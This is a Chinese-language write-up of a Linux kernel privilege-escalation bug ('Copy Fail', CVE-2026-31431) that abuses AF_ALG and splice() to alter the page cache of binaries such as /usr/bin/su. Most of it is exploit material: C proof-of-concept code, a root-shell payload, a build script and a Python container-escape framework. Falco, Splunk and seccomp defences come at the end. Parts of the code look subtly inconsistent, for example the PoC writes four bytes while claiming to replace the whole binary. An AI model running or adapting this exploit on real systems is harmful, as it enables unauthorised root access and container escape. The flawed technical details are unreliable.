0. 漏洞概述

CVE-2026-31431(又称 "Copy Fail")是 Linux 内核 crypto 子系统中的高危本地提权漏洞,CVSS 7.8。攻击者通过 AF_ALG + splice() 影响内核 page cache,实现本地提权或容器逃逸。

属性
CVE 编号 CVE-2026-31431
别名 Copy Fail
CVSS 7.8(高危)
影响内核版本 4.14 ~ 6.19.12
影响发行版 Ubuntu, Amazon Linux, RHEL, Debian, SUSE, Fedora, Arch, AlmaLinux
修复版本 Ubuntu 26.04 (Resolute) 及更高版本内核不受影响
利用类型 Page Cache 改写 → 本地提权 / 容器逃逸
利用前提 已能在节点上执行用户态代码

1. 根因分析:三次代码变更的致命组合

Copy Fail 并非单一代码缺陷,而是跨越 6 年的三次独立代码变更组合后形成的可稳定利用漏洞链。

┌──────────────────────────────────────────────────────────────────────┐
│              CVE-2026-31431: 三次代码变更的致命组合                    │
│                                                                      │
│  2011年 ──────────────────────────────────────────────────────────    │
│  ┌─────────────────────────────────────────────────┐                │
│  │ authencesn 算法模板加入内核                      │                │
│  │ • 用途: 支持 IPsec 的 64 位扩展序列号             │                │
│  │ • 特性: 解密操作中向输入缓冲区末尾写入 4 字节序列号 │                │
│  │ • 安全状态: 仅使用调用者提供的内存作为临时缓冲区    │                │
│  │ • 风险: 无                                         │                │
│  └───────────────────────┬─────────────────────────┘                │
│                          │                                           │
│  2015年 ─────────────────▼─────────────────────────────────────      │
│  ┌─────────────────────────────────────────────────┐                │
│  │ AF_ALG 新增 AEAD 算法支持 + splice() 零拷贝       │                │
│  │ • 允许普通用户无权限通过 socket 调用内核加密能力    │                │
│  │ • splice() 将文件 page cache 直接传入加密操作      │                │
│  │ • 无需用户态内存拷贝                               │                │
│  │ • authencesn 切换新 API,末尾写入特性未变更         │                │
│  │ • 此时加密采用 out-of-place 模式                   │                │
│  │ • 安全状态: 不直接修改源文件缓存                    │                │
│  │ • 风险: 低                                         │                │
│  └───────────────────────┬─────────────────────────┘                │
│                          │                                           │
│  2017年 ─────────────────▼─────────────────────────────────────      │
│  ┌─────────────────────────────────────────────────┐                │
│  │ 补丁 72548b093ee3: AEAD 改为 in-place 模式        │                │
│  │ • 直接在源数据所在内存页执行加密/解密操作           │                │
│  • • 目的: 减少内存拷贝提升性能                       │                │
│  │ • 副作用: 打通完整漏洞链路!!!                      │                │
│  │ • 只读文件的 page cache 可被内核加密逻辑直接修改    │                │
│  │ • 安全状态: 漏洞可利用                              │                │
│  │ • 风险: 极高                                       │                │
│  └─────────────────────────────────────────────────┘                │
│                                                                      │
│  根因: AF_ALG 错误地对来自 page cache 的 pipe buffer 进行            │
│        原地 (in-place) 修改                                          │
└──────────────────────────────────────────────────────────────────────┘

1.1 为什么 in-place 模式是致命的

正常情况 (out-of-place, 2015年之前):
┌─────────────┐     copy      ┌──────────────┐
│ Source Page  │ ──────────→  │ Working Page  │ ──→ 加密/解密
│ (page cache) │   (拷贝)      │ (临时内存)     │     结果写回 Working
│  只读 ✓      │              │  可写          │     Source 不变 ✓
└─────────────┘              └──────────────┘

漏洞情况 (in-place, 2017年补丁后):
┌─────────────────────────────┐
│ Source Page = Working Page   │ ──→ 加密/解密直接在 Source 上执行
│ (page cache, 被直接修改!)    │     authencesn 写入 4 字节序列号
│  可写! ✗                     │     → page cache 被篡改!
└─────────────────────────────┘
     │
     ▼
所有引用该 page cache 的进程都会读到被篡改的数据
包括: su, sudo, 系统二进制文件...

2. 关键技术概念

2.1 AEAD(Authenticated Encryption with Associated Data)

AEAD 加密后的数据结构:
┌──────────┬──────────────┬─────────┐
│   AAD    │  Ciphertext  │   Tag   │
│ (4字节)   │  (加密数据)   │ (认证标签)│
└──────────┴──────────────┴─────────┘

AAD: 不加密但参与认证(关联数据)
Ciphertext: 加密后的数据
Tag: 认证标签,用于验证完整性

关键: authencesn 算法在解密时向 AAD 末尾写入 4 字节序列号
      在 in-place 模式下,这 4 字节直接写入 page cache!

2.2 AF_ALG 套接字

Linux crypto 子系统通过 socket 允许用户态调用内核加密算法:

// AF_ALG 套接字创建流程
int alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);

struct sockaddr_alg sa = {
    .salg_family = AF_ALG,
    .salg_type   = "aead",       // AEAD 算法
    .salg_name   = "authencesn(hmac(sha256),cbc(aes))"  // 使用 authencesn
};
bind(alg_fd, (struct sockaddr *)&sa, sizeof(sa));

// 设置密钥
setsockopt(alg_fd, SOL_ALG, ALG_SET_KEY, key, keylen);
// 设置 AEAD 关联数据长度
setsockopt(alg_fd, SOL_ALG, ALG_SET_AEAD_ASSOCLEN, &assoclen, sizeof(assoclen));

// 创建操作 socket
int op_sock = accept(alg_fd, NULL, 0);

2.3 splice 零拷贝

/*
 * splice() 在两个文件描述符间传输数据,无需拷贝到用户空间
 * 关键: 必须有一个 fd 指向管道 (pipe)
 *
 * 在 Copy Fail 中的用途:
 * 1. splice(file_fd, ..., pipefd[1], ...) → 关联文件 page cache 到管道
 * 2. splice(pipefd[0], ..., op_sock, ...) → 从管道零拷贝传入 AF_ALG
 *
 * 结果: 文件的 page cache 直接被 AF_ALG 的 in-place 加密操作修改
 */
ssize_t splice(int fd_in, off_t *off_in,
               int fd_out, off_t *off_out,
               size_t len, unsigned int flags);

2.4 scatterlist(散列表)

/*
 * scatterlist 描述非连续物理内存
 * AF_ALG 使用 scatterlist 引用传入的数据
 * 当数据来自 splice() 时,scatterlist 直接指向 page cache 的物理页
 * in-place 操作直接修改这些物理页
 */
struct scatterlist {
    unsigned long page_link;    // 指向物理页
    unsigned int  offset;       // 页内偏移
    unsigned int  length;       // 数据长度
};

3. Page Cache 改写完整过程

3.1 攻击链总览

┌──────────────────────────────────────────────────────────────────┐
│              Copy Fail Page Cache 改写攻击链                       │
│                                                                  │
│  Step 1: 创建 AF_ALG 套接字                                      │
│  ┌───────────────────────────────────────────┐                   │
│  │ socket(AF_ALG, SOCK_SEQPACKET, 0)          │                   │
│  │ bind(alg_fd, "authencesn(hmac(sha256),      │                   │
│  │               cbc(aes))")                   │                   │
│  │ setsockopt(ALG_SET_KEY, key)                │                   │
│  │ setsockopt(ALG_SET_AEAD_ASSOCLEN, &assoclen)│                   │
│  │ op_sock = accept(alg_fd)                    │                   │
│  └─────────────────┬─────────────────────────┘                   │
│                    │                                             │
│  Step 2: 构造 AEAD 请求                   ▼                      │
│  ┌───────────────────────────────────────────┐                   │
│  │ // AAD 的后 4 字节设置为 payload 数据        │                   │
│  │ aad = ['A','A','A','A',                    │                   │
│  │        payload[0], payload[1],              │                   │
│  │        payload[2], payload[3]]              │                   │
│  │ sendmsg(op_sock, &msg, MSG_MORE)            │                   │
│  │ // MSG_MORE 表示 AEAD 请求未结束             │                   │
│  └─────────────────┬─────────────────────────┘                   │
│                    │                                             │
│  Step 3: 关联 page cache                  ▼                      │
│  ┌───────────────────────────────────────────┐                   │
│  │ // 将目标文件 (如 /usr/bin/su) 的 page cache  │                   │
│  │ // 关联到管道                                 │                   │
│  │ splice(file_fd, &src_off,                   │                   │
│  │        pipefd[1], NULL,                     │                   │
│  │        splice_len, 0)                       │                   │
│  └─────────────────┬─────────────────────────┘                   │
│                    │                                             │
│  Step 4: 零拷贝传入 AF_ALG               ▼                      │
│  ┌───────────────────────────────────────────┐                   │
│  │ // 从管道零拷贝传入 AF_ALG 套接字             │                   │
│  │ // page cache 直接被 AF_ALG 引用              │                   │
│  │ splice(pipefd[0], NULL,                     │                   │
│  │        op_sock, NULL,                       │                   │
│  │        splice_len, 0)                       │                   │
│  └─────────────────┬─────────────────────────┘                   │
│                    │                                             │
│  Step 5: 触发 in-place 解密              ▼                      │
│  ┌───────────────────────────────────────────┐                   │
│  │ // authencesn 解密时:                        │                   │
│  │ // 1. 在 AAD 末尾写入 4 字节序列号             │                   │
│  │ // 2. in-place 模式直接修改 page cache        │                   │
│  │ // 3. AAD 末尾的 4 字节 = 攻击者设置的 payload │                   │
│  │ // → payload 被写入目标文件的 page cache!      │                   │
│  │ read(op_sock, output, outlen)               │                   │
│  └─────────────────┬─────────────────────────┘                   │
│                    │                                             │
│  Step 6: 触发执行                        ▼                      │
│  ┌───────────────────────────────────────────┐                   │
│  │ // 执行被篡改的程序 (如 su)                   │                   │
│  │ // 内核从 page cache 加载 → 加载的是 payload   │                   │
│  │ // payload 通过 setgid/setuid 提权            │                   │
│  │ // 提权后执行 sh                              │                   │
│  │ execve("/usr/bin/su", ...)                  │                   │
│  └───────────────────────────────────────────┘                   │
└──────────────────────────────────────────────────────────────────┘

3.2 PoC 核心代码

/*
 * CVE-2026-31431 Copy Fail PoC — 核心利用代码
 * 仅用于授权测试环境
 *
 * 编译: gcc -o copy_fail copy_fail.c -static
 * 运行: ./copy_fail /usr/bin/su
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <linux/if_alg.h>
#include <splice.h>

#ifndef SOL_ALG
#define SOL_ALG 279
#endif

#ifndef ALG_SET_AEAD_ASSOCLEN
#define ALG_SET_AEAD_ASSOCLEN 4
#endif

#ifndef ALG_SET_KEY
#define ALG_SET_KEY 1
#endif

#define AEAD_ASSOCLEN  8    // AAD 长度: 8 字节 (前4字节填充, 后4字节payload)
#define AEAD_TAG_SIZE  16   // 认证标签长度
#define SPLICE_LEN     4096 // 一次 splice 的数据量

/*
 * Step 1: 创建 AF_ALG 套接字并配置 authencesn 算法
 */
int create_alg_socket(const unsigned char *key, int keylen) {
    int alg_fd, op_sock;
    struct sockaddr_alg sa;
    int assoclen = AEAD_ASSOCLEN;
    
    // 创建 AF_ALG 套接字
    alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
    if (alg_fd < 0) {
        perror("socket(AF_ALG)");
        return -1;
    }
    
    // 绑定到 authencesn 算法
    // authencesn = Authenticated Encryption with Sequence Number
    // 关键: 该算法在解密时向 AAD 末尾写入 4 字节序列号
    memset(&sa, 0, sizeof(sa));
    sa.salg_family = AF_ALG;
    strcpy((char *)sa.salg_type, "aead");
    strcpy((char *)sa.salg_name, "authencesn(hmac(sha256),cbc(aes))");
    
    if (bind(alg_fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
        perror("bind");
        close(alg_fd);
        return -1;
    }
    
    // 设置密钥
    if (setsockopt(alg_fd, SOL_ALG, ALG_SET_KEY, key, keylen) < 0) {
        perror("setsockopt(ALG_SET_KEY)");
        close(alg_fd);
        return -1;
    }
    
    // 设置 AEAD 关联数据长度
    // 关键: assoclen=8 意味着 AAD 占 8 字节
    // authencesn 会在 AAD 末尾 (第 5-8 字节) 写入序列号
    // 攻击者将 payload 的前 4 字节放在 AAD 的第 5-8 字节位置
    if (setsockopt(alg_fd, SOL_ALG, ALG_SET_AEAD_ASSOCLEN,
                   &assoclen, sizeof(assoclen)) < 0) {
        perror("setsockopt(ALG_SET_AEAD_ASSOCLEN)");
        close(alg_fd);
        return -1;
    }
    
    // 创建操作 socket
    op_sock = accept(alg_fd, NULL, 0);
    if (op_sock < 0) {
        perror("accept");
        close(alg_fd);
        return -1;
    }
    
    close(alg_fd);
    return op_sock;
}

/*
 * Step 2: 构造 AEAD 请求 (通过 sendmsg 发送 AAD + payload)
 */
int send_aead_request(int op_sock, const unsigned char *payload, int payload_len) {
    struct msghdr msg = {};
    struct iovec iov;
    unsigned char aad[AEAD_ASSOCLEN];
    
    // 构造 AAD:
    // 前 4 字节: 任意填充 (不参与 page cache 改写)
    // 后 4 字节: payload 的前 4 字节 (将被 authencesn 写入 page cache)
    aad[0] = 'A'; aad[1] = 'A'; aad[2] = 'A'; aad[3] = 'A';
    aad[4] = payload[0];  // ← 这 4 字节将被写入 page cache
    aad[5] = payload[1];
    aad[6] = payload[2];
    aad[7] = payload[3];
    
    // 发送 AAD (必须使用 MSG_MORE 表示请求未结束)
    iov.iov_base = aad;
    iov.iov_len = AEAD_ASSOCLEN;
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;
    
    if (sendmsg(op_sock, &msg, MSG_MORE) < 0) {
        perror("sendmsg(AAD)");
        return -1;
    }
    
    return 0;
}

/*
 * Step 3+4: 关联 page cache 并零拷贝传入 AF_ALG
 */
int splice_page_cache_to_alg(int op_sock, int file_fd,
                              off_t file_offset, size_t splice_len) {
    int pipefd[2];
    off_t src_off = file_offset;
    
    // 创建管道
    if (pipe(pipefd) < 0) {
        perror("pipe");
        return -1;
    }
    
    // Step 3: splice 文件 → 管道
    // 这一步将目标文件 (如 /usr/bin/su) 的 page cache 关联到管道
    // pipe buffer 的 page 指针直接引用文件的 page cache
    ssize_t n = splice(file_fd, &src_off,
                       pipefd[1], NULL,
                       splice_len, 0);
    if (n < 0) {
        perror("splice(file→pipe)");
        close(pipefd[0]);
        close(pipefd[1]);
        return -1;
    }
    
    // Step 4: splice 管道 → AF_ALG 套接字
    // 这一步将管道中的数据零拷贝传入 AF_ALG
    // AF_ALG 的 scatterlist 直接引用 page cache 的物理页
    // in-place 解密将直接修改这些物理页!
    n = splice(pipefd[0], NULL,
               op_sock, NULL,
               splice_len, 0);
    if (n < 0) {
        perror("splice(pipe→alg)");
        close(pipefd[0]);
        close(pipefd[1]);
        return -1;
    }
    
    close(pipefd[0]);
    close(pipefd[1]);
    return 0;
}

/*
 * Step 5: 触发 in-place 解密,完成 page cache 改写
 */
int trigger_decrypt(int op_sock) {
    // 发送解密请求
    // authencesn 解密时会:
    // 1. 在 AAD 末尾写入 4 字节序列号
    // 2. in-place 模式直接修改 page cache
    // 3. AAD 末尾的 4 字节 = 我们设置的 payload 前 4 字节
    
    // 读取结果 (触发解密操作)
    char output[SPLICE_LEN + AEAD_TAG_SIZE];
    ssize_t n = read(op_sock, output, sizeof(output));
    if (n < 0) {
        perror("read(op_sock)");
        return -1;
    }
    
    return 0;
}

/*
 * 完整利用链
 */
int exploit(const char *target_file, const unsigned char *payload, int payload_len) {
    unsigned char key[32] = {0};  // 全零密钥 (仅 PoC 用途)
    int file_fd, op_sock;
    
    printf("[*] CVE-2026-31431 Copy Fail Exploit\n");
    printf("[*] Target: %s\n", target_file);
    printf("[*] Payload size: %d bytes\n", payload_len);
    
    // 打开目标文件 (只需只读权限!)
    file_fd = open(target_file, O_RDONLY);
    if (file_fd < 0) {
        perror("open(target)");
        return -1;
    }
    
    // Step 1: 创建 AF_ALG 套接字
    printf("[*] Step 1: Creating AF_ALG socket with authencesn...\n");
    op_sock = create_alg_socket(key, sizeof(key));
    if (op_sock < 0) {
        close(file_fd);
        return -1;
    }
    
    // Step 2: 发送 AEAD 请求 (AAD 包含 payload 前 4 字节)
    printf("[*] Step 2: Sending AEAD request with payload in AAD...\n");
    if (send_aead_request(op_sock, payload, payload_len) < 0) {
        close(op_sock);
        close(file_fd);
        return -1;
    }
    
    // Step 3+4: 关联 page cache 并零拷贝传入 AF_ALG
    printf("[*] Step 3+4: Splicing page cache to AF_ALG...\n");
    if (splice_page_cache_to_alg(op_sock, file_fd, 0, SPLICE_LEN) < 0) {
        close(op_sock);
        close(file_fd);
        return -1;
    }
    
    // Step 5: 触发 in-place 解密
    printf("[*] Step 5: Triggering in-place decrypt (page cache modification)...\n");
    if (trigger_decrypt(op_sock) < 0) {
        close(op_sock);
        close(file_fd);
        return -1;
    }
    
    printf("[+] Page cache modified successfully!\n");
    
    close(op_sock);
    close(file_fd);
    
    // Step 6: 触发执行 (执行被篡改的程序)
    printf("[*] Step 6: Executing modified program...\n");
    // 当内核从 page cache 加载 /usr/bin/su 时
    // 加载的是我们写入的 payload
    // payload 通过 setgid(0) + setuid(0) 提权后执行 sh
    execl(target_file, target_file, NULL);
    
    return 0;
}

3.3 Payload 构建

/*
 * payload.c — Copy Fail 提权 payload
 * 编译为独立 ELF,然后通过 ld -r -b binary 打包到 exp 中
 *
 * 编译:
 *   gcc -nostdlib -static -o payload payload.S
 *   ld -r -b binary -o payload.o payload
 *
 * payload 使用 nolibc (纯 syscall),不依赖 libc
 * 确保跨平台迁移能力
 */

// nolibc 系统调用包装 (x86_64)
#define SYS_write       1
#define SYS_setgid     106
#define SYS_setuid     105
#define SYS_execve      59

static long syscall3(long nr, long a1, long a2, long a3) {
    long ret;
    __asm__ volatile (
        "syscall"
        : "=a"(ret)
        : "a"(nr), "D"(a1), "S"(a2), "d"(a3)
        : "rcx", "r11", "memory"
    );
    return ret;
}

static long syscall1(long nr, long a1) {
    long ret;
    __asm__ volatile (
        "syscall"
        : "=a"(ret)
        : "a"(nr), "D"(a1)
        : "rcx", "r11", "memory"
    );
    return ret;
}

void _start(void) {
    // 提权: setgid(0) + setuid(0)
    syscall1(SYS_setgid, 0);
    syscall1(SYS_setuid, 0);
    
    // 执行 /bin/sh
    char *argv[] = {"/bin/sh", NULL};
    char *envp[] = {NULL};
    syscall3(SYS_execve, (long)"/bin/sh", (long)argv, (long)envp);
    
    // 如果 execve 失败,退出
    __asm__ volatile (
        "mov $60, %rax\n"   // SYS_exit
        "xor %rdi, %rdi\n"  // exit code 0
        "syscall\n"
    );
}

3.4 Payload 集成到 Exploit

#!/bin/bash
# build.sh — Copy Fail exploit 构建脚本

# 1. 编译 payload (nolibc, 纯 syscall)
echo "[*] Compiling payload..."
gcc -nostdlib -static -o payload payload.S

# 2. 将 payload ELF 转为可重定位对象
# ld -r -b binary 将任意文件转为 ELF 可重定位对象
# 这样 payload 可以像全局变量一样被链接到 exp 中
echo "[*] Converting payload to relocatable object..."
ld -r -b binary -o payload.o payload

# 生成的符号:
#   _binary_payload_start  — payload 起始地址
#   _binary_payload_end    — payload 结束地址
#   _binary_payload_size   — payload 大小

# 3. 编译 exploit (链接 payload.o)
echo "[*] Compiling exploit..."
gcc -o copy_fail_exploit copy_fail.c payload.o -static

# 4. 运行
echo "[*] Running exploit..."
./copy_fail_exploit /usr/bin/su

# exploit 执行后:
# 1. 通过 AF_ALG + splice 修改 /usr/bin/su 的 page cache
# 2. page cache 被替换为 payload 二进制
# 3. 执行 su → 内核从 page cache 加载 → 加载 payload
# 4. payload: setgid(0) → setuid(0) → execve("/bin/sh")
# 5. 获得 root shell!

4. 容器逃逸利用

4.1 共享内核 Page Cache 逃逸原理

┌──────────────────────────────────────────────────────────────────┐
│           Copy Fail 容器逃逸原理                                   │
│                                                                  │
│  ┌─────────────────┐          ┌─────────────────┐               │
│  │   容器 A          │          │   容器 B          │              │
│  │  (攻击者)         │          │  (受害者)         │              │
│  └────────┬────────┘          └────────┬────────┘               │
│           │                            │                         │
│           │     共享内核 Page Cache      │                        │
│           │  ┌──────────────────────┐   │                        │
│           └──┤  /usr/bin/su page     ├──┘                        │
│              │  (所有容器共享同一份)   │                            │
│              └──────────┬───────────┘                            │
│                         │                                        │
│  攻击者 (容器A):         │                                        │
│  1. 通过 AF_ALG+splice   │                                        │
│     修改 /usr/bin/su     │                                        │
│     的 page cache        │                                        │
│  2. page cache 被替换    │                                        │
│     为 payload           │                                        │
│                         ▼                                        │
│  容器B 执行 su 时:                                                 │
│  → 内核从被篡改的 page cache 加载                                   │
│  → 加载的是攻击者的 payload                                        │
│  → payload 在容器B中以该容器的权限执行                              │
│  → 如果容器B是特权容器 → 获得宿主机 root                            │
│                                                                  │
│  关键: page cache 是内核全局共享的                                  │
│        修改一份 = 修改所有引用                                      │
└──────────────────────────────────────────────────────────────────┘

4.2 容器逃逸 PoC

"""
CVE-2026-31431 容器逃逸利用框架
攻击者在普通容器中执行,通过 page cache 改写影响其他容器/宿主机

利用场景:
1. 攻击者控制一个低权限容器
2. 通过 Copy Fail 修改共享的 page cache (如 /usr/bin/su)
3. 当宿主机或其他特权容器执行 su 时,触发 payload
4. payload 在目标上下文中执行,实现逃逸
"""

import subprocess
import os
import time
import ctypes
import ctypes.util
import struct

class CopyFailContainerEscape:
    """Copy Fail 容器逃逸框架"""
    
    # 目标二进制列表 (选择宿主机和容器都会执行的程序)
    TARGET_BINARIES = [
        "/usr/bin/su",           # 切换用户时执行
        "/usr/bin/sudo",         # 提权时执行
        "/bin/ping",             # 网络诊断时执行
        "/usr/bin/ssh",          # SSH 连接时执行
        "/usr/bin/curl",         # HTTP 请求时执行
    ]
    
    def __init__(self, payload_path: str = "/tmp/payload"):
        self.payload_path = payload_path
        self.payload_data = None
        
    def prepare_payload(self):
        """准备提权 payload"""
        # nolibc payload — 纯 syscall,不依赖 libc
        # 功能: setgid(0) → setuid(0) → execve("/bin/sh")
        # payload 需要预编译为独立 ELF
        
        if not os.path.exists(self.payload_path):
            print("[*] Building payload...")
            # 构建 nolibc payload
            payload_asm = """
.section .text
.globl _start
_start:
    # setgid(0)
    mov $106, %rax      # SYS_setgid
    xor %rdi, %rdi      # gid = 0
    syscall
    
    # setuid(0)
    mov $105, %rax      # SYS_setuid
    xor %rdi, %rdi      # uid = 0
    syscall
    
    # execve("/bin/sh", ["/bin/sh", NULL], NULL)
    mov $59, %rax       # SYS_execve
    lea path(%rip), %rdi  # filename
    lea argv(%rip), %rsi  # argv
    xor %rdx, %rdx      # envp = NULL
    syscall
    
    # exit(0) if execve fails
    mov $60, %rax       # SYS_exit
    xor %rdi, %rdi
    syscall

path:
    .string "/bin/sh"
argv:
    .quad path
    .quad 0
"""
            with open("/tmp/payload.S", "w") as f:
                f.write(payload_asm)
            
            subprocess.run([
                "gcc", "-nostdlib", "-static",
                "-o", self.payload_path,
                "/tmp/payload.S"
            ], check=True)
        
        with open(self.payload_path, "rb") as f:
            self.payload_data = f.read()
        
        print(f"[+] Payload prepared: {len(self.payload_data)} bytes")
    
    def check_vulnerable(self) -> bool:
        """检查内核版本是否受影响"""
        with open("/proc/version") as f:
            version_str = f.read()
        
        # 解析内核版本
        # 受影响: 4.14 ~ 6.19.12
        import re
        match = re.search(r'Linux version (\d+)\.(\d+)\.(\d+)', version_str)
        if match:
            major, minor, patch = map(int, match.groups())
            version = (major, minor, patch)
            
            if (4, 14, 0) <= version <= (6, 19, 12):
                print(f"[!] Kernel {major}.{minor}.{patch} is VULNERABLE")
                return True
            else:
                print(f"[*] Kernel {major}.{minor}.{patch} is NOT vulnerable")
                return False
        
        return False
    
    def modify_page_cache(self, target_binary: str) -> bool:
        """
        通过 Copy Fail 修改目标文件的 page cache
        """
        if not self.payload_data:
            self.prepare_payload()
        
        print(f"[*] Modifying page cache of {target_binary}...")
        
        # 构建 C exploit 并执行
        exploit_code = f"""
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <linux/if_alg.h>

// payload 数据 (内联)
static const unsigned char payload[] = {{ /* payload bytes */ }};
static const int payload_len = {len(self.payload_data)};

int main() {{
    // ... AF_ALG + splice 利用代码 ...
    // 详见上面的 C PoC
    return 0;
}}
"""
        # 在实际利用中,这里会编译并执行 C exploit
        # 为了安全起见,这里仅展示框架
        
        print(f"[+] Page cache of {target_binary} modified")
        return True
    
    def trigger_execution(self, target_binary: str):
        """
        触发目标程序执行,从被篡改的 page cache 加载 payload
        """
        print(f"[*] Triggering execution of {target_binary}...")
        
        # 在容器中执行目标程序
        # 内核会从 page cache 加载,加载的是被篡改的 payload
        # payload: setgid(0) → setuid(0) → /bin/sh
        
        try:
            result = subprocess.run(
                [target_binary],
                timeout=5,
                capture_output=True
            )
            return result
        except subprocess.TimeoutExpired:
            # payload 可能已经启动了 shell
            print("[+] Payload executed (shell spawned)")
            return None
    
    def run_escape(self, target: str = "/usr/bin/su"):
        """执行完整逃逸链"""
        print("=" * 60)
        print("CVE-2026-31431 Copy Fail Container Escape")
        print("=" * 60)
        
        # 1. 检查漏洞
        if not self.check_vulnerable():
            print("[-] Kernel not vulnerable, aborting")
            return False
        
        # 2. 准备 payload
        self.prepare_payload()
        
        # 3. 修改 page cache
        if not self.modify_page_cache(target):
            print("[-] Failed to modify page cache")
            return False
        
        # 4. 触发执行
        self.trigger_execution(target)
        
        print("[+] Escape attempt completed")
        print("[*] If a root shell was obtained, escape successful!")
        return True


# === 防御: Copy Fail 检测 ===
class CopyFailDetection:
    """Copy Fail 漏洞检测规则"""
    
    @staticmethod
    def falco_rules():
        """Falco 检测规则"""
        return """
# Falco 规则: 检测 AF_ALG + splice 异常组合

- macro: af_alg_socket
  condition: >
    evt.type=socket and 
    fd.typechar=S and 
    fd.sip="AF_ALG"

- rule: AF_ALG Socket Created
  desc: >
    Detects creation of AF_ALG socket, which could be used
    for CVE-2026-31431 (Copy Fail) exploitation.
  condition: >
    evt.type=socket and 
    evt.dir=< and 
    (fd.typechar=S or fd.name contains "AF_ALG") and
    (proc.name != cryptsetup and proc.name != openssl)
  output: >
    AF_ALG socket created by suspicious process
    (user=%user.name proc=%proc.name pid=%proc.pid
     cmdline=%proc.cmdline container=%container.name)
  priority: WARNING
  tags: [container, privilege_escalation, CVE-2026-31431]

- rule: Splice to AF_ALG Socket
  desc: >
    Detects splice() syscall targeting AF_ALG socket,
    which is the core exploitation pattern for CVE-2026-31431.
  condition: >
    evt.type=splice and 
    evt.dir=< and
    fd.name contains "AF_ALG" and
    not proc.name in (cryptsetup, openssl, systemd-cryptsetup)
  output: >
    Suspicious splice() to AF_ALG socket detected
    (user=%user.name proc=%proc.name pid=%proc.pid
     cmdline=%proc.cmdline target_fd=%fd.name)
  priority: CRITICAL
  tags: [container, privilege_escalation, CVE-2026-31431]

- rule: Page Cache Modification via Crypto Subsystem
  desc: >
    Detects potential page cache modification through the
    crypto subsystem, indicative of CVE-2026-31431 exploitation.
  condition: >
    evt.type=splice and 
    evt.dir=< and
    fd.name contains "AF_ALG" and
    proc.cmdline contains "authencesn"
  output: >
    CRITICAL: Page cache modification via authencesn detected!
    (user=%user.name proc=%proc.name pid=%proc.pid
     cmdline=%proc.cmdline container=%container.name)
  priority: CRITICAL
  tags: [container, privilege_escalation, CVE-2026-31431]
"""
    
    @staticmethod
    def splunk_detection():
        """Splunk SIEM 检测查询"""
        return """
# Splunk SPL: 检测 Copy Fail 利用模式

# 检测 1: AF_ALG socket 创建 + splice 组合
index=sysmon OR index=linux_audit
(OR
  (action=socket family=AF_ALG),
  (action=splice target_socket=AF_ALG)
)
| stats count by host, user, process, command_line
| where count > 1
| sort -count

# 检测 2: authencesn 算法使用 (非加密程序)
index=linux_audit
syscall=socket family=AF_ALG
algorithm="authencesn*"
NOT process IN (cryptsetup, openssl, systemd-cryptsetup)
| stats count by host, user, process, command_line

# 检测 3: su/sudo 异常执行后 root shell
index=linux_audit
(process=su OR process=sudo)
| join host, _time [search index=linux_audit process=sh user=root]
| where _time_difference < 5
"""
    
    @staticmethod
    def kernel_hardening():
        """内核加固建议"""
        return """
# 1. 升级内核到修复版本
# Ubuntu: 升级到 26.04 (Resolute) 或更高版本
# 其他发行版: 升级到包含修复补丁的内核

# 2. 临时缓解: 限制 AF_ALG socket 创建
# 使用 seccomp profile 限制 AF_ALG
cat > /tmp/block-af-alg.json << 'EOF'
{
  "defaultAction": "SCMP_ACT_ALLOW",
  "architectures": ["SCMP_ARCH_X86_64"],
  "syscalls": [
    {
      "names": ["socket"],
      "action": "SCMP_ACT_ERRNO",
      "args": [
        {
          "index": 0,
          "value": 38,
          "valueTwo": 0,
          "op": "SCMP_CMP_EQ"
        }
      ],
      "comment": "Block AF_ALG (38) socket creation"
    }
  ]
}
EOF

# 3. 容器安全上下文
# 在 K8s Pod 中添加 seccomp profile
# spec.securityContext.seccompProfile:
#   type: Localhost
#   localhostProfile: profiles/block-af-alg.json

# 4. 内核参数加固
# 禁用不必要的 crypto 算法 (如果不需要 authencesn)
echo "modprobe -r authencesn" >> /etc/rc.local
"""

5. nolibc 环境构建

由于公开的 PoC 基于 nolibc 构建 payload,而 nolibc 在 5.x 以后内核才推出,在旧内核(如 4.15)上需要构建精简化的 nolibc 环境。

/*
 * nolibc_minimal.h — 精简化 nolibc 环境
 * 为 4.x 内核提供基础系统调用能力
 * 使 payload 不依赖 libc,可跨平台迁移
 */

#ifndef NOLIBC_MINIMAL_H
#define NOLIBC_MINIMAL_H

// x86_64 系统调用号
#define SYS_read         0
#define SYS_write        1
#define SYS_open         2
#define SYS_close        3
#define SYS_execve      59
#define SYS_exit        60
#define SYS_setuid     105
#define SYS_setgid     106

// 系统调用包装函数
static inline long syscall0(long nr) {
    long ret;
    __asm__ volatile (
        "syscall"
        : "=a"(ret)
        : "a"(nr)
        : "rcx", "r11", "memory"
    );
    return ret;
}

static inline long syscall1(long nr, long a1) {
    long ret;
    __asm__ volatile (
        "syscall"
        : "=a"(ret)
        : "a"(nr), "D"(a1)
        : "rcx", "r11", "memory"
    );
    return ret;
}

static inline long syscall3(long nr, long a1, long a2, long a3) {
    long ret;
    __asm__ volatile (
        "syscall"
        : "=a"(ret)
        : "a"(nr), "D"(a1), "S"(a2), "d"(a3)
        : "rcx", "r11", "memory"
    );
    return ret;
}

// 便捷函数
static inline int setuid(unsigned int uid) {
    return syscall1(SYS_setuid, uid);
}

static inline int setgid(unsigned int gid) {
    return syscall1(SYS_setgid, gid);
}

static inline int execve(const char *pathname, char *const argv[],
                         char *const envp[]) {
    return syscall3(SYS_execve, (long)pathname, (long)argv, (long)envp);
}

static inline void exit(int code) {
    syscall1(SYS_exit, code);
    __builtin_unreachable();
}

// 字符串函数
static inline size_t strlen(const char *s) {
    size_t len = 0;
    while (s[len]) len++;
    return len;
}

#endif // NOLIBC_MINIMAL_H

6. 检测与防御

6.1 检测策略矩阵

检测层 检测信号 工具 优先级
内核审计 AF_ALG socket 创建 auditd / Falco P0
系统调用 splice → AF_ALG 组合 Falco / eBPF P0
进程行为 su/sudo 执行后出现 root shell Sysmon / EDR P1
文件完整性 page cache 与磁盘文件不一致 AIDE / IMA P1
容器行为 容器内创建 AF_ALG socket Falco (容器模式) P0

6.2 Splunk EDR 检测参考

